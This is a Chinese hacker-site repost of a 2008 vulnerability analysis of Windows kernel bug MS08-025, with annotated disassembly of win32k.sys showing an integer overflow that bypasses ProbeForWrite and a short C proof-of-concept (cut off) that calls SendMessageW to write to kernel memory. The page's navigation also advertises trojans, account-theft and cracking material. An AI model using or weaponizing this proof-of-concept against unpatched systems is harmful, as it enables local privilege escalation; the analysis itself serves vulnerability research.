设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 电脑基础 -> 电脑基础 -> 文章内容 [站内搜索]  

 
Windows 内核漏洞 ms08025 分析
作者:不详  来源:网络  发布时间:2008-5-5 9:42:07  发布人:www.hack86.com
Windows 内核漏洞 ms08025 分析 
 

Author:   Polymorphours
Email:   Polymorphours@whitecell.org

     经内部讨论后决定公布分析成果。

     4月8号microsoft再次发布了一个系统内核的补丁(KB941693),微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 和 Windows Server 2008 所有受支持版本的重要安全更新。此安全更新通过修改 Windows 内核验证从用户模式传递过来的输入的方式来解决此漏洞。

     从这个介绍中我们看到这个漏洞影响非常广,从2000到2008。为了能一睹这个漏洞的细节,我分析了ms08-025的补丁,发现该漏洞存在于 win32k.sys 模块中。在这个补丁中修补了win32k.sys中的多个地方,其中出问题的地方非常有趣,是因为溢出寄存器来绕过 ProbeForWrite 函数对用户层传来的指针的检查,下面我们就从 NtUserfnOUTSTRING 函数中的问题来展开我们的分析(我分析的平台是winxp sp2)

.text:BF86FB04 ; int __stdcall NtUserfnOUTSTRING(int,int,int,PVOID Address,int,int,int)
.text:BF86FB04 __stdcall NtUserfnOUTSTRING(x, x, x, x, x, x, x) proc near
.text:BF86FB04                                         ; CODE XREF: xxxDefWindowProc(x,x,x,x)+6E p
.text:BF86FB04                                         ; NtUserMessageCall(x,x,x,x,x,x,x)+61 p
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)-E p
.text:BF86FB04                                         ; xxxSendMessageToClient(x,x,x,x,x,x,x)+6D p
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)-4B p
.text:BF86FB04                                         ; xxxWrapCallWindowProc(x,x,x,x,x)+60 p ...
.text:BF86FB04
.text:BF86FB04 var_24           = dword ptr -24h
.text:BF86FB04 var_20           = dword ptr -20h
.text:BF86FB04 UserBuffer       = dword ptr -1Ch
.text:BF86FB04 ms_exc           = CPPEH_RECORD ptr -18h
.text:BF86FB04 arg_0           = dword ptr   8
.text:BF86FB04 arg_4           = dword ptr   0Ch
.text:BF86FB04 arg_8           = dword ptr   10h
.text:BF86FB04 Address         = dword ptr   14h
.text:BF86FB04 arg_10           = dword ptr   18h
.text:BF86FB04 arg_14           = dword ptr   1Ch
.text:BF86FB04 arg_18           = dword ptr   20h
.text:BF86FB04
.text:BF86FB04 ; FUNCTION CHUNK AT .text:BF86FAE1 SIZE 0000001E BYTES
.text:BF86FB04
.text:BF86FB04                 push     14h
.text:BF86FB06                 push     offset unk_BF98D250
.text:BF86FB0B                 call     __SEH_prolog
.text:BF86FB0B
.text:BF86FB10                 xor     edx, edx
.text:BF86FB12                 mov     [ebp+ms_exc.disabled], edx
.text:BF86FB15                 mov     eax, [ebp+var_20]
.text:BF86FB18                 mov     ecx, 7FFFFFFFh
.text:BF86FB1D                 and     eax, ecx
.text:BF86FB1F                 mov     esi, [ebp+arg_18]
.text:BF86FB22                 shl     esi, 1Fh
.text:BF86FB25                 or       eax, esi
.text:BF86FB27                 mov     [ebp+var_20], eax
.text:BF86FB2A                 mov     esi, eax
.text:BF86FB2C                 xor     esi, [ebp+arg_8]   -> esi = 缓冲区长度
.text:BF86FB2F                 and     esi, ecx
.text:BF86FB31                 xor     eax, esi
.text:BF86FB33                 mov     [ebp+var_20], eax
.text:BF86FB36                 cmp     [ebp+arg_18], edx   -> 如果是 ansi 方式就直接进行检查,否则需要计算unicode的大小
.text:BF86FB39                 jnz     short loc_BF86FB47
.text:BF86FB39
.text:BF86FB3B                 lea     esi, [eax+eax]     <- 注意这里,问题就在这里,此时 eax = unicode字符串的长度,
                                                         <- 当 eax = 0x80000000 的时候 eax + eax = 0x100000000,32位的寄存器
                                                         <- 被溢出了,esi = 0
.text:BF86FB3E                 xor     esi, eax
.text:BF86FB40                 and     esi, ecx
.text:BF86FB42                 xor     eax, esi
.text:BF86FB44                 mov     [ebp+var_20], eax -> 保存unicode占用的空间大小
.text:BF86FB44
.text:BF86FB47
.text:BF86FB47 loc_BF86FB47:                           ; CODE XREF: NtUserfnOUTSTRING(x,x,x,x,x,x,x)+35 j
.text:BF86FB47                 mov     [ebp+var_24], edx
.text:BF86FB4A                 mov     esi, [ebp+Address]
.text:BF86FB4D                 mov     [ebp+UserBuffer], esi
.text:BF86FB50                 xor     ebx, ebx
.text:BF86FB52                 inc     ebx
.text:BF86FB53                 push     ebx             ; Alignment
.text:BF86FB54                 and     eax, ecx
.text:BF86FB56                 push     eax             ; Length <- 由于 eax = 0,所以ProbeForWrite被绕过
.text:BF86FB57                 push     esi             ; Address
.text:BF86FB58                 call     ds:ProbeForWrite(x,x,x)


bf80a1b0 e96ef4ffff       jmp   win32k!xxxRealDefWindowProc+0x1235 (bf809623)
bf80a1b5 d1e8             shr     eax,1
bf80a1b7 894510           mov     [ebp+0x10],eax
bf80a1ba ebf1             jmp     win32k!xxxRealDefWindowProc+0x190 (bf80a1ad)
bf80a1bc 8b4514           mov     eax,[ebp+0x14]
bf80a1bf f6400780         test     byte ptr [eax+0x7],0x80
bf80a1c3 8b4008           mov     eax,[eax+0x8]
bf80a1c6 7408             jz     win32k!xxxRealDefWindowProc+0x105 (bf80a1d0)
bf80a1c8 c60000           mov     byte ptr [eax],0x0
bf80a1cb e951f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d0 668910           mov     [eax],dx     <- 在这里,对前面传入的指针进行了2个字节的写操作,写入的数据为0
bf80a1d3 e949f4ffff       jmp   win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1d8 6a00             push     0x0
bf80a1da 6a02             push     0x2
bf80a1dc ff7638           push     dword ptr [esi+0x38]
bf80a1df e8d1690200       call     win32k!BuildHwndList (bf830bb5)
bf80a1e4 8bf8             mov     edi,eax
bf80a1e6 85ff             test     edi,edi
bf80a1e8 0f8433f4ffff     je     win32k!xxxRealDefWindowProc+0x1225 (bf809621)
bf80a1ee 8d7710           lea     esi,[edi+0x10]

那么怎么触发这个漏洞呢,我又分析了 user32.dll 和 win32k!NtUserMessageCall,发现触发这个漏洞很简单,只需要调用SendMessageW 发送WM_GETTEXT 消息就能够触发了,下面是poc代码(注,改代码运行后由于在内核写了未映射的内存,会直接蓝屏,要改成可用的exploit,可以参考我以前的exploit)

#include <stdio.h>
#include <windows.h>

int main(int argc,char *argv[])
{
     DWORD     dwHookAddress = 0x80000000;

     printf( "\tMS08-025 Local Privilege Escalation Vulnerability Exploit(POC)\n\n" );
         printf( "Create by Whitecell’s Polymorphours@whitecell.org 2008/04/10\n" );

     SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, dwHookAddress );
     return 0;

[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  绝密!为WindowsXP系..
微软发现Windows重大..
Windows组件0Day漏洞..
Windows 内核漏洞 m..
终级win2003服务器安..
最安全Windows Serv..
绝对不可错过 WinRA..
Windows安全性再遭质..
非凡体验Windows of..
玩转Windows Vista系..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
免费QQ蓝钻体验(附考试答案)
8款QQ空间免费开场动画
 
渗透(香港)劲舞团官方论坛 05-10
Windows 内核漏洞 ms08025 分析 05-05
想提高GGAD(Google ADSense)收入.. 05-05
拒绝刊登私服广告 巴哈姆特遭大陆.. 05-05
DISCUZ!疑遭攻击 入侵者或为邪恶.. 05-05
三大措施设置数据库安全 保障网站.. 05-05
黑客谈国内僵尸网络的现状与发展.. 05-05
历史盘点 史上最优秀的二十款防火.. 05-05
深入认识如何选择与保护密码 05-05
安全策略新角度:细看本地权限之.. 05-05
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com